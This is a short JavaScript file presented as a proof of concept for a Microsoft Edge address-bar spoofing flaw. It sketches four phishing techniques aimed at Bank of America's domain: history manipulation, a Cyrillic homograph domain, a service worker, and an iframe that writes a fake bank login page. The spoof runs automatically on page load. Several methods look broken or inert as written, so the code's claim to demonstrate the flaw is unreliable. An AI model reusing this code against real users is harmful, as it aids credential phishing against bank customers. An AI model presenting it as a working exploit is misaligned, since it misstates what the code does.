// PoC for CVE-2025-65046 - Microsoft Edge Address Bar Spoofing
// Note: This is a conceptual PoC for educational purposes only
// Method 1: History manipulation technique
function spoofURL() {
const targetURL = 'https://www.bankofamerica.com';
const maliciousURL = 'https://malicious-site.com';
// Use history.pushState to manipulate browser history
history.pushState({}, '', maliciousURL);
// Trigger the spoof by navigating to target
window.location.href = targetURL;
}
// Method 2: Using special characters/Unicode homograph attack
const fakeBankURL = 'https://www.bаnkofamerica.com'; // Cyrillic 'а' instead of Latin 'a'
// Method 3: Address bar overlay via service worker
if ('serviceWorker' in navigator) {
navigator.serviceWorker.register('/sw.js').then(registration => {
// Service worker can intercept requests and manipulate responses
console.log('Service Worker registered for URL spoofing');
});
}
// Method 4: Using data: URLs or about:blank
function injectContent() {
const iframe = document.createElement('iframe');
iframe.src = 'about:blank';
document.body.appendChild(iframe);
// Write content to the blank page while URL remains spoofed
const doc = iframe.contentDocument || iframe.contentWindow.document;
doc.open();
doc.write('<html><body><h1>Fake Bank Login Page</h1></body></html>');
doc.close();
}
// Trigger the spoofing attack
document.addEventListener('DOMContentLoaded', () => {
spoofURL();
});
